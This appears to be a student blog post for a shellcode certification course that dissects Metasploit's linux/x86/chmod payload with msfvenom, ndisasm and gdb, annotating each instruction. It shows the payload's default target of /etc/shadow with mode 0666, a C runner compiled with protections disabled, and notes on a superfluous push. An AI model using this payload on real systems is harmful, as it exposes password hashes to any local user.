SLAE Assignment 5: Shellcode Analysis Part 2

Just to review, the assignment asks for a number of shellcode samples to be analysed.

  • Take up at least 3 shellcode samples created using Msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
  • Present your analysis

Shellcode 2: chmod

In the first part of the assignment I looked at the Msfvenom adduser shellcode. In this part I’m going to analyse how the chmod payload. As before, I need start by looking at the payload option

chmod Payload options

The following command lists the options for the linux/x86/chmod payload:

msfvenom -a x86 --platform linux -p linux/x86/chmod --payload-options

The following snippet from the output lists the basic options which will be used when generating the payload

Basic options:
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 FILE /etc/shadow yes Filename to chmod
 MODE 0666 yes File mode (octal)
 Runs chmod on specified file with specified mode

The options will use the following settings:

  • FILE: password
  • MODE: 0666

The final command to generate the payload will be:

msfvenom -a x86 --platform linux -p linux/x86/chmod -f raw -o chmod FILE=/tmp/test MODE=0666

File Setup

As the shellcode changes the file permissions on /tmp/test I need to create a file and set the permissions appropriately.


I now have a file with permissions set to read only for all three permission types.

Disassemble the shellcode using ndisasm

‘ndisasm’ allows for the ‘raw’ NASM instructions to be viewed using the following command:

ndisasm ./ adduser_raw -u

The instructions are:

user01@ubuntu-x86-01:~/payload$ ndisasm chmod
 00000000 99           cwd
 00000001 6A0F         push byte +0xf
 00000003 58           pop ax
 00000004 52           push dx
 00000005 E80A00       call word 0x12
 00000008 0000         add [bx+si],al
 0000000A 2F           das
 0000000B 746D         jz 0x7a
 0000000D 702F         jo 0x3e
 0000000F 7465         jz 0x76
 00000011 7374         jnc 0x87
 00000013 005B68       add [bp+di+0x68],bl
 00000016 B601         mov dh,0x1
 00000018 0000         add [bx+si],al
 0000001A 59           pop cx
 0000001B CD80         int 0x80
 0000001D 6A01         push byte +0x1
 0000001F 58           pop ax
 00000020 CD80         int 0x80

Initial Analysis of the shellcode

Looking The disassembled shellcode above we can see there are number of system call interrupt instructions (int 0x80). However, at memory address 0x00000005, the line is highlighted with a blue font. The call instruction on this line jumps to the memory address 0x00000012.

00000005 E80A00       call word 0x12

However, if we look at the location the call instruction will jump to the disassembled shellcode doesn’t have 0x00000012 listed, the closest value which has been highlight in a blue font is address 0x00000011 and 0x00000013. As a result, the disassembled instructions the instructions listed are in all likelihood not the actual instructions at those addresses as they don’t align correctly with the code that actually executes. Therefore I’ll perform the shellcode analysis using gdb.

Analysis with gdb

Generate the ‘C’ shellcode instructions using msfvenom:

‘msfvenom’ can generate shellcode in a format which can be executed from within a C program.

msfvenom -a x86 --platform linux -p linux/x86/chmod FILE=/tmp/test MODE=0666 -f c -o chmod.c

The command above generates the following code:

unsigned char buf[] =

The code above is the dropped into the ‘C’ shellcode template used within the SLAE course, as below:


unsigned char code[] = \

int main()
     printf("Shellcode Length: %d\n", strlen(code));
     int (*ret)() = (int(*)())code;

The ‘C’ program should be compiled with the following command. I added the ‘-ggdb’ option to include the debugging symbols.

gcc -ggdb -fno-stack-protector -z execstack shellcode.c -o shellcode

Running the shellcode in gdb

When running gdb it must be executed within root privileges otherwise the system calls which require elevated privileges to execute correctly will fail.

sudo gdb ./shellcode

Once gdb is running we need to get the memory location of the shellcode so we can set a breakpoint and see what is happening. The way we do this is to disassembled the instructions in the code variable which will list the instructions so we can get the memory address of the first shellcode instruction.


A breakpoint is set at the memory address ‘0x0804a040’ and the program is run and execution stops at the breakpoint, as shown in the screenshot below. The output given here is a result of the configuration which I have added to the .gdbinit file, see my post here details.


Shellcode Analysis

Continuing on from the previous section we can now follow the program execution and verify what it does.

System Call 1: chmod()

The chmod() system call has the following function prototype:

int chmod(const char *pathname, mode_t mode);

Therefore the EBX and ECX register must be set with the two parameters above prior to the system call being executed.

0x0804a040 <+0>: cdq        ; Converts a Double to a Quad EAX to EDX:EAX,
                            ; Zero’s the EDX register.
0x0804a041 <+1>: push 0xf   ; Store ‘0xf’ on the stack
0x0804a043 <+3>: pop eax    ; Set the System Call ID in the EAX register for
                            ; chmod()
0x0804a044 <+4>: push edx   ; Store a NULL value on the stack. WHY?
0x0804a045 <+5>: call 0x804a054 <code+20> ; Call the Address ‘0x804a054’

Note: The instruction at memory address 0x0804a044 pushes a NULL onto the stack. However, it is never popped of the stack and used in the remainder of the shellcode. I’ve added a section at the end of the post which details some analysis around this instruction. 

Once the shellcode jumps we can now see the actual instructions which show the remaining instructions for the chmod() and the exit() system calls.


As the call instruction is executed the memory address of the next instruction after it is pushed onto the stack. At memory address ‘0x804a054’ the shellcode pops the address stored on the stack into the EBX register giving a pointer to the char *pathname which is the 2nd parameter of the chmod() system call.

0x804a054 <code+20>: pop ebx ; Set the chmod() *pathname string memory address 
                             ; in the EBX register.

Using gdb’s examine command we can view the value at the memory address stored within the EBX register, this is the item which is


The next pair of instructions set the value for the MODE parameter which was set when generating the shellcode from ‘msfvenom’

0x804a055 <code+21>: push 0x1b6 ; Push the value '0x1b6'
0x804a05a <code+26>: pop ecx ;

The chmod() system call is the executed using the ‘int 0x80’ instruction.

0x804a05b <code+27>: int 0x80 ; Execute the system call.

Finally the exit() system call is setup and executed.

0x804a05d <code+29>: push 0x1  ; Store ‘0x1’ on the stack
0x804a05f <code+31>: pop eax   ; Set the system call ID in the EAX register for
                               ; exit()
0x804a060 <code+32>: int 0x80  ; Execute the exit() system call

Chmod Shellcode Thoughts

There were two interesting points within the chmod shellcode.

  • push EDX: I found it really interesting that there appeared to be an unneeded instruction within the shellocode and as discussed below the chmod is still successful without it.
  • call instruction: The call instruction used to jump over the file name string seems an odd choice. The instructions works from the perspective that it gets the address of the file name string. However using a call in that way results in zeros being included in the machine instructions. If, on the other hand, the Jmp-call-pop had been used no zeros would have been introduced to the shellcode.
0804a040 :
804a040: 99 cdq
804a041: 6a 0f push 0xf
804a043: 58 pop eax
804a044: 52 push edx
804a045: e8 0a 00 00 00 call 804a054 <code+0x14>
804a04a: 2f das

Interesting push edx instruction

One instruction which I found to be of interest was at memory address 0x0804a044. The instruction pushes a zero dword to the stack. However there is no further use of the pushed value within the shellcode. In the screenshot below gdb has stopped after the ‘push edx’ instruction and the stack now contains a zero dword.


As a test I decided to remove the push edx instruction and test if the shellcode still works. First I listed the instructions using objdump. Here we can see that the machine instruction for the push edx is 58.


Next, I edited the file with the C instructions and removed it, changing it from:



unsigned char buf[] =

The shellcode was re-compiled and the permissions on the file were checked:


Great, so the permissions are OK. So I ran the shellcode in gdb and stop after the chmod() system call. As can be seen below the system call has executed successfully as it returned a zero.


Now,  lets check the permissions on the file after the shellcode has run. As can be seen the file permissions have been changed.


So it appears that the push EDX instruction isn’t actually needed by the shellcode, which surprised me as I wouldn’t have expected there to be erroneous instructions within Msfvenom generated payload shellcode. If anyone who reads the blog understands the reason why that instruction is there I’d be really like to hear.

Assignment 5 – Part 3

The next part of the assignment can be found here:

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-793

This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s